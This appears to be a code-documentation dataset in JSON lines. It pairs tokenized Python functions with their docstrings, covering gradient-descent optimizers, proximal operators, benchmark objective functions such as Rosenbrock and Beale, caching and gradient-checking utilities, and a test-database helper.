{"signature": "@gradient_optimizer<EOL>def sgd(lr=<NUM_LIT>, mom=<NUM_LIT:0.>):", "body": "<EOL>xk = yield<EOL>vk = np.zeros_like(xk)<EOL>for k in count():<EOL><INDENT>grad = yield xk<EOL>vk = mom * vk - lr * grad<EOL>xk += vk<EOL><DEDENT>", "docstring": "Stochastic gradient descent (SGD)\n\nParameters\n----------\nlr : float, optional\n    Learning rate (Default: 1e-3)\n\nmom : float, optional\n    Momentum (Default: 0.0)", "id": "f9765:m0"}
{"signature": "@gradient_optimizer<EOL>def nag(lr=<NUM_LIT>):", "body": "xk = yield<EOL>yk = xk.copy()<EOL>for k in count():<EOL><INDENT>grad = yield yk<EOL>xprev = xk.copy()<EOL>xk = yk - lr * grad<EOL>yk = xk + (k / (k + <NUM_LIT>)) * (xk - xprev)<EOL><DEDENT>", "docstring": "Nesterov's accelerated gradient (NAG)\n\nParameters\n----------\nlr : float, optional\n    Learning rate (Default: 1e-3)", "id": "f9765:m1"}
{"signature": "@gradient_optimizer<EOL>def rmsprop(lr=<NUM_LIT>, damping=<NUM_LIT>, decay=<NUM_LIT>):", "body": "xk = yield<EOL>rms = np.zeros_like(xk)<EOL>for k in count():<EOL><INDENT>grad = yield xk<EOL>rms *= decay<EOL>rms += (<NUM_LIT:1> - decay) * grad**<NUM_LIT:2><EOL>xk -= lr * grad / (damping + np.sqrt(rms))<EOL><DEDENT>", "docstring": "RMSProp\n\nParameters\n----------\nlr : float, optional\n    Learning rate (Default: 1e-3)\n\ndamping : float, optional\n    Damping term (Default: 1e-12)\n\ndecay : float, optional\n    Decay of the learning rate (Default: 0)", "id": "f9765:m2"}
{"signature": "@gradient_optimizer<EOL>def sag(nterms=<NUM_LIT:10>, lr=<NUM_LIT>):", "body": "xk = yield<EOL>gradients = deque([], nterms)<EOL>for k in count():<EOL><INDENT>grad = yield xk<EOL>gradients.append(grad)<EOL>xk -= lr * np.mean(gradients, axis=<NUM_LIT:0>)<EOL><DEDENT>", "docstring": "Stochastic Average Gradient (SAG)\n\nParameters\n----------\nnterms : int, optional\n    Number of gradient evaluations to use in the average (Default: 10)\n\nlr : float, optional\n    (Default: 1e-3)", "id": "f9765:m3"}
{"signature": "@gradient_optimizer<EOL>def smorms(lr=<NUM_LIT>, epsilon=<NUM_LIT>):", "body": "xk = yield<EOL>mem = np.ones_like(xk)<EOL>g = np.zeros_like(xk)<EOL>g2 = np.zeros_like(xk)<EOL>for k in count():<EOL><INDENT>grad = yield xk<EOL>r = <NUM_LIT:1> / (mem + <NUM_LIT:1>)<EOL>r_1 = <NUM_LIT:1.> - r<EOL>g *= r_1<EOL>g += r * grad<EOL>g2 *= r_1<EOL>g2 += r * grad ** <NUM_LIT:2><EOL>glr = g ** <NUM_LIT:2> / (g2 + epsilon)<EOL>mem = <NUM_LIT:1> + mem * (<NUM_LIT:1> - glr)<EOL>xk -= grad * np.minimum(lr, glr) / (np.sqrt(g2) + epsilon)<EOL><DEDENT>", "docstring": "Squared mean over root mean squared cubed (SMORMS3)\n\nNotes\n-----\nby Simon Funk\nhttp://sifter.org/~simon/journal/20150420.html\n\nParameters\n----------\nlr : float, optional\n    (Default: 1e-3)\n\nepsilon : float, optional\n    (Default: 1e-8)", "id": "f9765:m4"}
{"signature": "@gradient_optimizer<EOL>def adam(lr=<NUM_LIT>, beta=(<NUM_LIT>, <NUM_LIT>), epsilon=<NUM_LIT>):", "body": "xk = yield<EOL>mk = np.zeros_like(xk)<EOL>vk = np.zeros_like(xk)<EOL>b1, b2 = beta<EOL>for k in count(start=<NUM_LIT:1>):<EOL><INDENT>grad = yield xk<EOL>mk *= b1<EOL>mk += (<NUM_LIT:1.> - b1) * grad<EOL>vk *= b2<EOL>vk += (<NUM_LIT:1.> - b2) * (grad ** <NUM_LIT:2>)<EOL>momentum_norm = mk / (<NUM_LIT:1> - b1 ** k)<EOL>velocity_norm = np.sqrt(vk / (<NUM_LIT:1> - b2 ** k))<EOL>xk -= lr * momentum_norm / (epsilon + velocity_norm)<EOL><DEDENT>", "docstring": "ADAM\n\nParameters\n----------\nlr : float, optional\n    Learnin rate (Default: 1e-3)\n\nbeta : (float, float)\n    (Default: (0.9, 0.999))\n\nepsilon : float\n    (Default: 1e-8)", "id": "f9765:m5"}
{"signature": "@proxify<EOL>def nucnorm(x, rho, penalty, newshape=None):", "body": "orig_shape = x.shape<EOL>if newshape is not None:<EOL><INDENT>x = x.reshape(newshape)<EOL><DEDENT>u, s, v = np.linalg.svd(x, full_matrices=False)<EOL>sthr = np.maximum(s - (penalty / rho), <NUM_LIT:0>)<EOL>return np.linalg.multi_dot((u, np.diag(sthr), v)).reshape(orig_shape)<EOL>", "docstring": "Nuclear norm\n\nParameters\n----------\npenalty : float\n    nuclear norm penalty hyperparameter\n\nnewshape : tuple, optional\n    Desired shape of the parameters to apply the nuclear norm to. The given\n    parameters are reshaped to an array with this shape, or not reshaped if\n    the value of newshape is None. (Default: None)", "id": "f9766:m1"}
{"signature": "@proxify<EOL>def sparse(x, rho, penalty):", "body": "lmbda = penalty / rho<EOL>return (x - lmbda) * (x >= lmbda) + (x + lmbda) * (x <= -lmbda)<EOL>", "docstring": "Proximal operator for the l1-norm: soft thresholding\n\nParameters\n----------\npenalty : float\n    Strength or weight on the l1-norm", "id": "f9766:m2"}
{"signature": "@proxify<EOL>def squared_error(x, rho, x_obs):", "body": "return (x + x_obs / rho) / (<NUM_LIT:1.> + <NUM_LIT:1.> / rho)<EOL>", "docstring": "Proximal operator for squared error (l2 or Fro. norm)\n\nsquared_error(x_obs)\n\nParameters\n----------\nx_obs : array_like\n    Observed array or matrix that you want to stay close to", "id": "f9766:m3"}
{"signature": "@proxify<EOL>def lbfgs(x, rho, f_df, maxiter=<NUM_LIT:20>):", "body": "def f_df_augmented(theta):<EOL><INDENT>f, df = f_df(theta)<EOL>obj = f + (rho / <NUM_LIT>) * np.linalg.norm(theta - x) ** <NUM_LIT:2><EOL>grad = df + rho * (theta - x)<EOL>return obj, grad<EOL><DEDENT>res = scipy_minimize(f_df_augmented, x, jac=True, method='<STR_LIT>',<EOL>options={'<STR_LIT>': maxiter, '<STR_LIT>': False})<EOL>return res.x<EOL>", "docstring": "Minimize the proximal operator of a given objective using L-BFGS\n\nParameters\n----------\nf_df : function\n    Returns the objective and gradient of the function to minimize\n\nmaxiter : int\n    Maximum number of L-BFGS iterations", "id": "f9766:m4"}
{"signature": "@proxify<EOL>def tvd(x, rho, penalty):", "body": "return denoise_tv_bregman(x, rho / penalty)<EOL>", "docstring": "Total variation denoising proximal operator\n\nParameters\n----------\npenalty : float", "id": "f9766:m5"}
{"signature": "@proxify<EOL>def nonneg(x, rho):", "body": "return np.maximum(x, <NUM_LIT:0>)<EOL>", "docstring": "Projection onto the non-negative orthant", "id": "f9766:m6"}
{"signature": "@proxify<EOL>def smooth(x, rho, penalty, axis=<NUM_LIT:0>, newshape=None):", "body": "orig_shape = x.shape<EOL>if newshape is not None:<EOL><INDENT>x = x.reshape(newshape)<EOL><DEDENT>n = x.shape[axis]<EOL>lap_op = spdiags([(<NUM_LIT:2> + rho / penalty) * np.ones(n),<EOL>-<NUM_LIT:1> * np.ones(n), -<NUM_LIT:1> * np.ones(n)],<EOL>[<NUM_LIT:0>, -<NUM_LIT:1>, <NUM_LIT:1>], n, n, format='<STR_LIT>')<EOL>A = penalty * lap_op<EOL>b = rho * np.rollaxis(x, axis, <NUM_LIT:0>)<EOL>return np.rollaxis(spsolve(A, b), axis, <NUM_LIT:0>).reshape(orig_shape)<EOL>", "docstring": "Applies a smoothing operator along one dimension\n\ncurrently only accepts a matrix as input\n\nParameters\n----------\npenalty : float\n\naxis : int, optional\n    Axis along which to apply the smoothing (Default: 0)\n\nnewshape : tuple, optional\n    Desired shape of the parameters to apply the nuclear norm to. The given\n    parameters are reshaped to an array with this shape, or not reshaped if\n    the value of newshape is None. (Default: None)", "id": "f9766:m7"}
{"signature": "@proxify<EOL>def sdcone(x, rho):", "body": "U, V = np.linalg.eigh(x)<EOL>return V.dot(np.diag(np.maximum(U, <NUM_LIT:0>)).dot(V.T))<EOL>", "docstring": "Projection onto the semidefinite cone", "id": "f9766:m8"}
{"signature": "@proxify<EOL>def linear(x, rho, weights):", "body": "return x - weights / rho<EOL>", "docstring": "Proximal operator for a linear function w^T x", "id": "f9766:m9"}
{"signature": "@proxify<EOL>def simplex(x, rho):", "body": "<EOL>u = np.flipud(np.sort(x.ravel()))<EOL>lambdas = (<NUM_LIT:1> - np.cumsum(u)) / (<NUM_LIT:1.> + np.arange(u.size))<EOL>ix = np.where(u + lambdas > <NUM_LIT:0>)[<NUM_LIT:0>].max()<EOL>return np.maximum(x + lambdas[ix], <NUM_LIT:0>)<EOL>", "docstring": "Projection onto the probability simplex\n\nhttp://arxiv.org/pdf/1309.1541v1.pdf", "id": "f9766:m10"}
{"signature": "@proxify<EOL>def columns(x, rho, proxop):", "body": "xnext = np.zeros_like(x)<EOL>for ix in range(x.shape[<NUM_LIT:1>]):<EOL><INDENT>xnext[:, ix] = proxop(x[:, ix], rho)<EOL><DEDENT>return xnext<EOL>", "docstring": "Applies a proximal operator to the columns of a matrix", "id": "f9766:m11"}
{"signature": "@proxify<EOL>def identity(x, rho=None):", "body": "return x<EOL>", "docstring": "Identity operator", "id": "f9766:m12"}
{"signature": "@proxify<EOL>def fantope(x, rho, dim, tol=<NUM_LIT>):", "body": "U, V = np.linalg.eigh(x)<EOL>minval, maxval = np.maximum(U.min(), <NUM_LIT:0>), np.maximum(U.max(), <NUM_LIT:20> * dim)<EOL>while True:<EOL><INDENT>theta = <NUM_LIT:0.5> * (maxval + minval)<EOL>thr_eigvals = np.minimum(np.maximum((U - theta), <NUM_LIT:0>), <NUM_LIT:1>)<EOL>constraint = np.sum(thr_eigvals)<EOL>if np.abs(constraint - dim) <= tol:<EOL><INDENT>break<EOL><DEDENT>elif constraint < dim:<EOL><INDENT>maxval = theta<EOL><DEDENT>elif constraint > dim:<EOL><INDENT>minval = theta<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return np.linalg.multi_dot((V, np.diag(thr_eigvals), V.T))<EOL>", "docstring": "Projection onto the fantope [1]_\n\n.. [1] Vu, Vincent Q., et al. \"Fantope projection and selection: A\n       near-optimal convex relaxation of sparse PCA.\" Advances in\n       neural information processing systems. 2013.", "id": "f9766:m13"}
{"signature": "def __init__(self, A, b):", "body": "self.P = A.T.dot(A)<EOL>self.q = A.T.dot(b)<EOL>self.n = self.q.size<EOL>", "docstring": "Proximal operator for solving a linear least squares system, Ax = b\n\nParameters\n----------\nA : array_like\n    Sensing matrix (Ax = b)\n\nb : array_like\n    Responses (Ax = b)", "id": "f9766:c1:m0"}
{"signature": "def objective(param_scales=(<NUM_LIT:1>, <NUM_LIT:1>), xstar=None, seed=None):", "body": "ndim = len(param_scales)<EOL>def decorator(func):<EOL><INDENT>@wraps(func)<EOL>def wrapper(theta):<EOL><INDENT>return func(theta)<EOL><DEDENT>def param_init():<EOL><INDENT>np.random.seed(seed)<EOL>return np.random.randn(ndim,) * np.array(param_scales)<EOL><DEDENT>wrapper.ndim = ndim<EOL>wrapper.param_init = param_init<EOL>wrapper.xstar = xstar<EOL>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Gives objective functions a number of dimensions and parameter range\n\n    Parameters\n    ----------\n    param_scales : (int, int)\n        Scale (std. dev.) for choosing each parameter\n\n    xstar : array_like\n        Optimal parameters", "id": "f9768:m0"}
{"signature": "@objective(xstar=<NUM_LIT:0>, param_scales=(<NUM_LIT:10>,))<EOL>def doublewell(theta):", "body": "k0, k1, depth = <NUM_LIT>, <NUM_LIT:100>, <NUM_LIT:0.5><EOL>shallow = <NUM_LIT:0.5> * k0 * theta ** <NUM_LIT:2> + depth<EOL>deep = <NUM_LIT:0.5> * k1 * theta ** <NUM_LIT:2><EOL>obj = float(np.minimum(shallow, deep))<EOL>grad = np.where(deep < shallow, k1 * theta, k0 * theta)<EOL>return obj, grad<EOL>", "docstring": "Pointwise minimum of two quadratic bowls", "id": "f9768:m1"}
{"signature": "@objective(xstar=(<NUM_LIT:1>, <NUM_LIT:1>))<EOL>def rosenbrock(theta):", "body": "x, y = theta<EOL>obj = (<NUM_LIT:1> - x)**<NUM_LIT:2> + <NUM_LIT:100> * (y - x**<NUM_LIT:2>)**<NUM_LIT:2><EOL>grad = np.zeros(<NUM_LIT:2>)<EOL>grad[<NUM_LIT:0>] = <NUM_LIT:2> * x - <NUM_LIT> * (x * y - x**<NUM_LIT:3>) - <NUM_LIT:2><EOL>grad[<NUM_LIT:1>] = <NUM_LIT:200> * (y - x**<NUM_LIT:2>)<EOL>return obj, grad<EOL>", "docstring": "Objective and gradient for the rosenbrock function", "id": "f9768:m2"}
{"signature": "@objective(xstar=(<NUM_LIT:0>, <NUM_LIT:0>))<EOL>def sphere(theta):", "body": "return <NUM_LIT:0.5> * np.linalg.norm(theta)**<NUM_LIT:2>, theta<EOL>", "docstring": "l2-norm of the parameters", "id": "f9768:m3"}
{"signature": "@objective(xstar=(<NUM_LIT:0>, <NUM_LIT:0>))<EOL>def matyas(theta):", "body": "x, y = theta<EOL>obj = <NUM_LIT> * (x ** <NUM_LIT:2> + y ** <NUM_LIT:2>) - <NUM_LIT> * x * y<EOL>grad = np.array([<NUM_LIT> * x - <NUM_LIT> * y, <NUM_LIT> * y - <NUM_LIT> * x])<EOL>return obj, grad<EOL>", "docstring": "Matyas function", "id": "f9768:m4"}
{"signature": "@objective(xstar=(<NUM_LIT:3>, <NUM_LIT:0.5>))<EOL>def beale(theta):", "body": "x, y = theta<EOL>A = <NUM_LIT> - x + x * y<EOL>B = <NUM_LIT> - x + x * y**<NUM_LIT:2><EOL>C = <NUM_LIT> - x + x * y**<NUM_LIT:3><EOL>obj = A ** <NUM_LIT:2> + B ** <NUM_LIT:2> + C ** <NUM_LIT:2><EOL>grad = np.array([<EOL><NUM_LIT:2> * A * (y - <NUM_LIT:1>) + <NUM_LIT:2> * B * (y ** <NUM_LIT:2> - <NUM_LIT:1>) + <NUM_LIT:2> * C * (y ** <NUM_LIT:3> - <NUM_LIT:1>),<EOL><NUM_LIT:2> * A * x + <NUM_LIT:4> * B * x * y + <NUM_LIT:6> * C * x * y ** <NUM_LIT:2><EOL>])<EOL>return obj, grad<EOL>", "docstring": "Beale's function", "id": "f9768:m5"}
{"signature": "@objective(xstar=(<NUM_LIT:1>, <NUM_LIT:3>))<EOL>def booth(theta):", "body": "x, y = theta<EOL>A = x + <NUM_LIT:2> * y - <NUM_LIT:7><EOL>B = <NUM_LIT:2> * x + y - <NUM_LIT:5><EOL>obj = A**<NUM_LIT:2> + B**<NUM_LIT:2><EOL>grad = np.array([<NUM_LIT:2> * A + <NUM_LIT:4> * B, <NUM_LIT:4> * A + <NUM_LIT:2> * B])<EOL>return obj, grad<EOL>", "docstring": "Booth's function", "id": "f9768:m6"}
{"signature": "@objective(xstar=(-<NUM_LIT>, -<NUM_LIT>))<EOL>def mccormick(theta):", "body": "x, y = theta<EOL>obj = np.sin(x + y) + (x - y)**<NUM_LIT:2> - <NUM_LIT> * x + <NUM_LIT> * y + <NUM_LIT:1><EOL>grad = np.array([np.cos(x + y) + <NUM_LIT:2> * (x - y) - <NUM_LIT>,<EOL>np.cos(x + y) - <NUM_LIT:2> * (x - y) + <NUM_LIT>])<EOL>return obj, grad<EOL>", "docstring": "McCormick function", "id": "f9768:m7"}
{"signature": "@objective(xstar=(<NUM_LIT:0>, <NUM_LIT:0>))<EOL>def camel(theta):", "body": "x, y = theta<EOL>obj = <NUM_LIT:2> * x ** <NUM_LIT:2> - <NUM_LIT> * x ** <NUM_LIT:4> + x ** <NUM_LIT:6> / <NUM_LIT:6> + x * y + y ** <NUM_LIT:2><EOL>grad = np.array([<EOL><NUM_LIT:4> * x - <NUM_LIT> * x ** <NUM_LIT:3> + x ** <NUM_LIT:5> + y,<EOL>x + <NUM_LIT:2> * y<EOL>])<EOL>return obj, grad<EOL>", "docstring": "Three-hump camel function", "id": "f9768:m8"}
{"signature": "@objective(xstar=(<NUM_LIT>, <NUM_LIT>))<EOL>def michalewicz(theta):", "body": "x, y = theta<EOL>obj = - np.sin(x) * np.sin(x ** <NUM_LIT:2> / np.pi) ** <NUM_LIT:20> -np.sin(y) * np.sin(<NUM_LIT:2> * y ** <NUM_LIT:2> / np.pi) ** <NUM_LIT:20><EOL>grad = np.array([<EOL>- np.cos(x) * np.sin(x ** <NUM_LIT:2> / np.pi) ** <NUM_LIT:20> - (<NUM_LIT> / np.pi) * x *<EOL>np.sin(x) * np.sin(x ** <NUM_LIT:2> / np.pi) ** <NUM_LIT> * np.cos(x ** <NUM_LIT:2> / np.pi),<EOL>- np.cos(y) * np.sin(<NUM_LIT:2> * y ** <NUM_LIT:2> / np.pi) ** <NUM_LIT:20> - (<NUM_LIT> / np.pi) * y * np.sin(y) *<EOL>np.sin(<NUM_LIT:2> * y ** <NUM_LIT:2> / np.pi) ** <NUM_LIT> * np.cos(<NUM_LIT:2> * y ** <NUM_LIT:2> / np.pi),<EOL>])<EOL>return obj, grad<EOL>", "docstring": "Michalewicz function", "id": "f9768:m9"}
{"signature": "@objective(xstar=(<NUM_LIT:0>, <NUM_LIT:0>))<EOL>def bohachevsky1(theta):", "body": "x, y = theta<EOL>obj = x ** <NUM_LIT:2> + <NUM_LIT:2> * y ** <NUM_LIT:2> - <NUM_LIT> * np.cos(<NUM_LIT:3> * np.pi * x) - <NUM_LIT> * np.cos(<NUM_LIT:4> * np.pi * y) + <NUM_LIT><EOL>grad = np.array([<EOL><NUM_LIT:2> * x + <NUM_LIT> * np.sin(<NUM_LIT:3> * np.pi * x) * <NUM_LIT:3> * np.pi,<EOL><NUM_LIT:4> * y + <NUM_LIT> * np.sin(<NUM_LIT:4> * np.pi * y) * <NUM_LIT:4> * np.pi,<EOL>])<EOL>return obj, grad<EOL>", "docstring": "One of the Bohachevsky functions", "id": "f9768:m10"}
{"signature": "@objective(xstar=(<NUM_LIT:0>, <NUM_LIT:0>))<EOL>def zakharov(theta):", "body": "x, y = theta<EOL>obj = x ** <NUM_LIT:2> + y ** <NUM_LIT:2> + (<NUM_LIT:0.5> * x + y) ** <NUM_LIT:2> + (<NUM_LIT:0.5> * x + y) ** <NUM_LIT:4><EOL>grad = np.array([<EOL><NUM_LIT> * x + y + <NUM_LIT:2> * (<NUM_LIT:0.5> * x + y) ** <NUM_LIT:3>,<EOL><NUM_LIT:4> * y + x + <NUM_LIT:4> * (<NUM_LIT:0.5> * x + y) ** <NUM_LIT:3>,<EOL>])<EOL>return obj, grad<EOL>", "docstring": "Zakharov function", "id": "f9768:m11"}
{"signature": "@objective(xstar=(<NUM_LIT:1>, <NUM_LIT:1> / np.sqrt(<NUM_LIT:2>)))<EOL>def dixon_price(theta):", "body": "x, y = theta<EOL>obj = (x - <NUM_LIT:1>) ** <NUM_LIT:2> + <NUM_LIT:2> * (<NUM_LIT:2> * y ** <NUM_LIT:2> - x) ** <NUM_LIT:2><EOL>grad = np.array([<EOL><NUM_LIT:2> * x - <NUM_LIT:2> - <NUM_LIT:4> * (<NUM_LIT:2> * y ** <NUM_LIT:2> - x),<EOL><NUM_LIT:16> * (<NUM_LIT:2> * y ** <NUM_LIT:2> - x) * y,<EOL>])<EOL>return obj, grad<EOL>", "docstring": "Dixon-Price function", "id": "f9768:m12"}
{"signature": "@objective(xstar=(<NUM_LIT:0>, -<NUM_LIT:1>))<EOL>def goldstein_price(theta):", "body": "x, y = theta<EOL>obj = (<NUM_LIT:1> + (x + y + <NUM_LIT:1>) ** <NUM_LIT:2> * (<NUM_LIT> - <NUM_LIT> * x + <NUM_LIT:3> * x ** <NUM_LIT:2> - <NUM_LIT> * y + <NUM_LIT:6> * x * y + <NUM_LIT:3> * y ** <NUM_LIT:2>)) *(<NUM_LIT:30> + (<NUM_LIT:2> * x - <NUM_LIT:3> * y) ** <NUM_LIT:2> *<EOL>(<NUM_LIT> - <NUM_LIT:32> * x + <NUM_LIT:12> * x ** <NUM_LIT:2> + <NUM_LIT> * y - <NUM_LIT> * x * y + <NUM_LIT> * x ** <NUM_LIT:2>))<EOL>grad = np.array([<EOL>((<NUM_LIT:2> * x - <NUM_LIT:3> * y)**<NUM_LIT:2> * (<NUM_LIT> * x - <NUM_LIT> * y - <NUM_LIT:32>) + (<NUM_LIT:8> * x - <NUM_LIT:12> * y) *<EOL>(<NUM_LIT> * x**<NUM_LIT:2> - <NUM_LIT> * x * y - <NUM_LIT:32> * x + <NUM_LIT> * y + <NUM_LIT>)) *<EOL>((x + y + <NUM_LIT:1>)**<NUM_LIT:2> * (<NUM_LIT:3> * x**<NUM_LIT:2> + <NUM_LIT:6> * x * y - <NUM_LIT> * x + <NUM_LIT:3> * y**<NUM_LIT:2> - <NUM_LIT> * y + <NUM_LIT>) + <NUM_LIT:1>) +<EOL>((<NUM_LIT:2> * x - <NUM_LIT:3> * y)**<NUM_LIT:2> * (<NUM_LIT> * x**<NUM_LIT:2> - <NUM_LIT> * x * y - <NUM_LIT:32> * x + <NUM_LIT> * y + <NUM_LIT>) + <NUM_LIT:30>) *<EOL>((x + y + <NUM_LIT:1>)**<NUM_LIT:2> *<EOL>(<NUM_LIT:6> * x + <NUM_LIT:6> * y - <NUM_LIT>) + (<NUM_LIT:2> * x + <NUM_LIT:2> * y + <NUM_LIT:2>) *<EOL>(<NUM_LIT:3> * x**<NUM_LIT:2> + <NUM_LIT:6> * x * y - <NUM_LIT> * x + <NUM_LIT:3> * y**<NUM_LIT:2> - <NUM_LIT> * y + <NUM_LIT>)),<EOL>((-<NUM_LIT> * x + <NUM_LIT>) * (<NUM_LIT:2> * x - <NUM_LIT:3> * y)**<NUM_LIT:2> + (-<NUM_LIT:12> * x + <NUM_LIT> * y) *<EOL>(<NUM_LIT> * x**<NUM_LIT:2> - <NUM_LIT> * x * y - <NUM_LIT:32> * x + <NUM_LIT> * y + <NUM_LIT>)) *<EOL>((x + y + <NUM_LIT:1>)**<NUM_LIT:2> * (<NUM_LIT:3> * x**<NUM_LIT:2> + <NUM_LIT:6> * x * y - <NUM_LIT> * x + <NUM_LIT:3> * y**<NUM_LIT:2> - <NUM_LIT> * y + <NUM_LIT>) + <NUM_LIT:1>) +<EOL>((<NUM_LIT:2> * x - <NUM_LIT:3> * y)**<NUM_LIT:2> * (<NUM_LIT> * x**<NUM_LIT:2> - <NUM_LIT> * x * y - <NUM_LIT:32> * x + <NUM_LIT> * y + <NUM_LIT>) + <NUM_LIT:30>) *<EOL>((x + y + <NUM_LIT:1>)**<NUM_LIT:2> * (<NUM_LIT:6> * x + <NUM_LIT:6> * y - <NUM_LIT>) + (<NUM_LIT:2> * x + <NUM_LIT:2> * y + <NUM_LIT:2>) *<EOL>(<NUM_LIT:3> * x**<NUM_LIT:2> + <NUM_LIT:6> * x * y - <NUM_LIT> * x + <NUM_LIT:3> * y**<NUM_LIT:2> - <NUM_LIT> * y + <NUM_LIT>)),<EOL>])<EOL>return obj, grad<EOL>", "docstring": "Goldstein-Price function", "id": "f9768:m13"}
{"signature": "@objective(xstar=(-<NUM_LIT>, -<NUM_LIT>))<EOL>def styblinski_tang(theta):", "body": "x, y = theta<EOL>obj = <NUM_LIT:0.5> * (x ** <NUM_LIT:4> - <NUM_LIT:16> * x ** <NUM_LIT:2> + <NUM_LIT:5> * x + y ** <NUM_LIT:4> - <NUM_LIT:16> * y ** <NUM_LIT:2> + <NUM_LIT:5> * y)<EOL>grad = np.array([<EOL><NUM_LIT:2> * x ** <NUM_LIT:3> - <NUM_LIT:16> * x + <NUM_LIT>,<EOL><NUM_LIT:2> * y ** <NUM_LIT:3> - <NUM_LIT:16> * y + <NUM_LIT>,<EOL>])<EOL>return obj, grad<EOL>", "docstring": "Styblinski-Tang function", "id": "f9768:m14"}
{"signature": "def wrap(f_df, xref, size=<NUM_LIT:1>):", "body": "memoized_f_df = lrucache(lambda x: f_df(restruct(x, xref)), size)<EOL>objective = compose(first, memoized_f_df)<EOL>gradient = compose(destruct, second, memoized_f_df)<EOL>return objective, gradient<EOL>", "docstring": "Memoizes an objective + gradient function, and splits it into\ntwo functions that return just the objective and gradient, respectively.\n\nParameters\n----------\nf_df : function\n    Must be unary (takes a single argument)\n\nxref : list, dict, or array_like\n    The form of the parameters\n\nsize : int, optional\n    Size of the cache (Default=1)", "id": "f9770:m0"}
{"signature": "def docstring(docstr):", "body": "def decorator(func):<EOL><INDENT>@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT>wrapper.__doc__ = docstr<EOL>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorates a function with the given docstring\n\nParameters\n----------\ndocstr : string", "id": "f9770:m1"}
{"signature": "def lrucache(func, size):", "body": "if size == <NUM_LIT:0>:<EOL><INDENT>return func<EOL><DEDENT>elif size < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_arity(<NUM_LIT:1>, func):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>cache = OrderedDict()<EOL>def wrapper(x):<EOL><INDENT>if not(type(x) is np.ndarray):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if x.size <= <NUM_LIT>:<EOL><INDENT>key = hash(x.tostring())<EOL><DEDENT>else:<EOL><INDENT>key = hash(repr(x))<EOL><DEDENT>if key not in cache:<EOL><INDENT>if len(cache) >= size:<EOL><INDENT>cache.popitem(last=False)<EOL><DEDENT>cache[key] = func(x)<EOL><DEDENT>return cache[key]<EOL><DEDENT>return wrapper<EOL>", "docstring": "A simple implementation of a least recently used (LRU) cache.\nMemoizes the recent calls of a computationally intensive function.\n\nParameters\n----------\nfunc : function\n    Must be unary (takes a single argument)\n\nsize : int\n    The size of the cache (number of previous calls to store)", "id": "f9770:m2"}
{"signature": "def check_grad(f_df, xref, stepsize=<NUM_LIT>, tol=<NUM_LIT>, width=<NUM_LIT:15>, style='<STR_LIT>', out=sys.stdout):", "body": "CORRECT = u'<STR_LIT>'<EOL>INCORRECT = u'<STR_LIT>'<EOL>obj, grad = wrap(f_df, xref, size=<NUM_LIT:0>)<EOL>x0 = destruct(xref)<EOL>df = grad(x0)<EOL>out.write(tp.header([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"], width=width, style=style) + \"<STR_LIT:\\n>\")<EOL>out.flush()<EOL>def parse_error(number):<EOL><INDENT>failure = \"<STR_LIT>\"<EOL>passing = \"<STR_LIT>\"<EOL>warning = \"<STR_LIT>\"<EOL>end = \"<STR_LIT>\"<EOL>base = \"<STR_LIT>\"<EOL>if error < <NUM_LIT:0.1> * tol:<EOL><INDENT>return base.format(passing, error, end)<EOL><DEDENT>elif error < tol:<EOL><INDENT>return base.format(warning, error, end)<EOL><DEDENT>else:<EOL><INDENT>return base.format(failure, error, end)<EOL><DEDENT><DEDENT>num_errors = <NUM_LIT:0><EOL>for j in range(x0.size):<EOL><INDENT>dx = np.zeros(x0.size)<EOL>dx[j] = stepsize<EOL>df_approx = (obj(x0 + dx) - obj(x0 - dx)) / (<NUM_LIT:2> * stepsize)<EOL>df_analytic = df[j]<EOL>abs_error = np.linalg.norm(df_approx - df_analytic)<EOL>error = abs_error if np.allclose(abs_error, <NUM_LIT:0>) else abs_error /(np.linalg.norm(df_analytic) + np.linalg.norm(df_approx))<EOL>num_errors += error >= tol<EOL>errstr = CORRECT if error < tol else INCORRECT<EOL>out.write(tp.row([df_approx, df_analytic, parse_error(error) + '<STR_LIT:U+0020>' + errstr],<EOL>width=width, style=style) + \"<STR_LIT:\\n>\")<EOL>out.flush()<EOL><DEDENT>out.write(tp.bottom(<NUM_LIT:3>, width=width, style=style) + \"<STR_LIT:\\n>\")<EOL>return num_errors<EOL>", "docstring": "Compares the numerical gradient to the analytic gradient\n\nParameters\n----------\nf_df : function\n    The analytic objective and gradient function to check\n\nx0 : array_like\n    Parameter values to check the gradient at\n\nstepsize : float, optional\n    Stepsize for the numerical gradient. Too big and this will poorly estimate the gradient.\n    Too small and you will run into precision issues (default: 1e-6)\n\ntol : float, optional\n    Tolerance to use when coloring correct/incorrect gradients (default: 1e-5)\n\nwidth : int, optional\n    Width of the table columns (default: 15)\n\nstyle : string, optional\n    Style of the printed table, see tableprint for a list of styles (default: 'round')", "id": "f9770:m3"}
{"signature": "def create_db():", "body": "try:<EOL><INDENT>return psycopg2.connect(**db_state['<STR_LIT>'])<EOL><DEDENT>except psycopg2.OperationalError as exc:<EOL><INDENT>nosuch_db = '<STR_LIT>' % db_state['<STR_LIT>']['<STR_LIT>']<EOL>if nosuch_db in str(exc):<EOL><INDENT>try:<EOL><INDENT>master = psycopg2.connect(database='<STR_LIT>')<EOL>master.rollback()<EOL>master.autocommit = True<EOL>cursor = master.cursor()<EOL>cursor.execute('<STR_LIT>' % db_state['<STR_LIT>']['<STR_LIT>'])<EOL>cursor.close()<EOL>master.close()<EOL><DEDENT>except psycopg2.Error as exc:<EOL><INDENT>message = ('<STR_LIT>'<EOL>+ db_state['<STR_LIT>']['<STR_LIT>']<EOL>+ '<STR_LIT>' % exc)<EOL>raise RuntimeError(message)<EOL><DEDENT>else:<EOL><INDENT>conn = psycopg2.connect(**db_state['<STR_LIT>'])<EOL>db_state['<STR_LIT>'] = True<EOL>return conn<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "connect to test db", "id": "f9777:m1"}
